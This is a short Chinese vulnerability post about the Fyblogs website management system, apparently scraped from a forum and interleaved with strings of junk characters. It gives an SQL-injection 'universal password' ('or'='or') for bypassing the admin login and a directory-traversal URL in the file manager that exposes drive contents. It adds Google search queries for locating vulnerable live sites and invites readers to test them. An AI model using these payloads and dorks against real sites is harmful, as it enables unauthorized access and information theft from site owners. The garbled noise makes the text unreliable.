Fyblogs网站管理系统漏洞

admin

漏洞类型： 未授权访问/权限绕过

简要描述：

Fyblogs网站管理系统,，后台存在万能密码，后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
' d) m+ @+ O7 E* B5 @# K0 _7 P1 Q
1 p$ \3 m# m8 f  c& o- _详细说明：
$ N: `- g# H! I7 Z: _: l1 k, W* @
: H" T! a- n/ I, f0 W/ X' O后台万能密码 'or'='or'
3 |4 ]! o5 Q8 N- }+ h4 Y后台文件管理存在绕过。导致浏览所在盘符信息。信息泄露！
- ]& g+ k; U- L; N# N* vadmin/uploadfile.asp?currentFolder=/upfiles/../

漏洞证明：

$ e; f; W; `$ j1 ?0 G8 l) B6 X3 l谷歌：inurl:type.asp?id=1 新闻中心
或者 ：inurl:download_ok.asp?
- D  ~3 I) l( _2 T7 ~2 S
& G1 J, c# _, V/ t, C' B7 n  ~' Y可以测试
/ u$ E0 f" K$ Z; z: h% `5 K
​
- l# P! o# ]8 [5 B9 {, }